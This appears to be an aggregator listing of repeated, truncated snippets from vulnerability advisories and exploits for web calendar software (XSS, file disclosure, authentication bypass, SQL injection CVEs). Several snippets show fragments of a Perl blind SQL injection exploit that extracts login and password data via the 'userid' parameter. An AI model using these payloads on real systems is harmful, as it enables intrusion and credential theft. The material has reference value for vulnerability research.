miniwebcalendar-disclosexss.txt

XSS / FD Vulnerability script:Mini Web Calendar, ver. 1.2 download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94 ...................................................................................... local file xpl:...

Mini Web Calendar 1.2 (File Disclosure/XSS) Multiple Vulnerabilities

Exploit for unknown platform in category web applications ==================================================================== Mini Web Calendar 1.2 File Disclosure/XSS Multiple Vulnerabilities ==================================================================== XSS / FD Vulnerability script:Mini...

Mini Web Calendar 1.2 - File Disclosure / Cross-Site Scripting

XSS / FD Vulnerability script:Mini Web Calendar, ver. 1.2 download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94 ...................................................................................... local file xpl:...

Mini Web Calendar 1.2 - File Disclosure Cross-Site Scripting

Mini Web Calendar 1.2 - File Disclosure Cross-Site Scripting XSS / FD Vulnerability script:Mini Web Calendar, ver. 1.2 download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94...

Calendars for the Web 4.02 - Admin Authentication Bypass

Calendars for the Web 4.02 - Admin Authentication Bypass Exploit discovered by SecVuln from http://secvuln.com Come join our clan! contact [email protected] Author == SecVuln Version == 4.02 Software == Calendars for the web by great hill corporation Calendars for the web has a vulnerability in...

Calcium web calendar: Reflected XSS

Vendor: Brown Bear Software Vendor web page: http://brownbearsw.com/ Product: Calcium web calendar Product web page: http://brownbearsw.com/calcium/WhatIsIt.html Vendor's Product Description: Calcium is a Web Calendar application. It will run on nearly any machine with a web server that can run...

brownbear-xss.txt

Vendor: Brown Bear Software Vendor web page: http://brownbearsw.com/ Product: Calcium web calendar Product web page: http://brownbearsw.com/calcium/WhatIsIt.html Vendor's Product Description: Calcium is a Web Calendar application. It will run on nearly any machine with a web server that can run...

CVE-2008-1954

SQL injection vulnerability in oneday.php in Web Calendar Pro 4.1 and earlier allows remote attackers to execute arbitrary SQL commands via the userid parameter...

Sql injection

SQL injection vulnerability in oneday.php in Web Calendar Pro 4.1 and earlier allows remote attackers to execute arbitrary SQL commands via the userid parameter...

CVE-2008-1954

SQL injection vulnerability in oneday.php in Web Calendar Pro 4.1 and earlier allows remote attackers to execute arbitrary SQL commands via the userid parameter...

CVE-2008-1954

Web Calendar Pro

Web Calendar <= 4.1 Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use strict; use LWP::Simple; print "-+-- Web Calendar = 4.1 Blind SQL Injection Exploit --+- "; print "-+-- --+- "; print "-+-- Discovered && Coded By t0pP8uZz --+- "; print "-+-- Discovered On: 24 April 2008 --+- "; print "-+-- --+- "; print "-+-...

webcal-sql.txt

!/usr/bin/perl use strict; use LWP::Simple; print "-+-- Web Calendar ; print "\n\nInjecting Please Wait..\n\n" my $lop = 1; my $num = 48; my $sub = 1; my $res = undef; my $content = undef; while$lop $content = get$url."/oneday.php?userid=1 AND ASCIISUBSTRINGSELECT CONCATlogin,char58,password,char...

Web Calendar 4.1 - Blind SQL Injection

Web Calendar 4.1 - Blind SQL Injection !/usr/bin/perl use strict; use LWP::Simple; print "-+-- Web Calendar ; print "\n\nInjecting Please Wait..\n\n" my $lop = 1; my $num = 48; my $sub = 1; my $res = undef; my $content = undef; while$lop $content = get$url."/oneday.php?userid=1 AND...

Web Calendar 4.1 - Blind SQL Injection

!/usr/bin/perl use strict; use LWP::Simple; print "-+-- Web Calendar ; print "\n\nInjecting Please Wait..\n\n" my $lop = 1; my $num = 48; my $sub = 1; my $res = undef; my $content = undef; while$lop $content = get$url."/oneday.php?userid=1 AND ASCIISUBSTRINGSELECT CONCATlogin,char58,password,char...

Web Calendar <= 4.1 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications =============================================== Web Calendar ; print "\n\nInjecting Please Wait..\n\n" my $lop = 1; my $num = 48; my $sub = 1; my $res = undef; my $content = undef; while$lop $content = get$url."/oneday.php?userid=1 AND...

CVE-2007-6158

Multiple SQL injection vulnerabilities in caladmin.inc.php in Proverbs Web Calendar 1.1 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 loginname aka Username and 2 loginpass aka Password parameters to caladmin.php...

Sql injection

Multiple SQL injection vulnerabilities in caladmin.inc.php in Proverbs Web Calendar 1.1 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 loginname aka Username and 2 loginpass aka Password parameters to caladmin.php...

CVE-2007-6158

Proverbs Web Calendar 1.1 and earlier have multiple SQL injection vulnerabilities in caladmin.inc.php that allow remote attackers to execute arbitrary SQL commands via loginname (Username) and loginpass (Password) parameters to caladmin.php. Affected component is caladmin.inc.php; vulnerability d...

Proverbs Web Calendar 1.1 - Password SQL Injection

Proverbs Web Calendar 1.1 - Password SQL Injection source: https://www.securityfocus.com/bid/26584/info Proverbs Web Calendar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow ...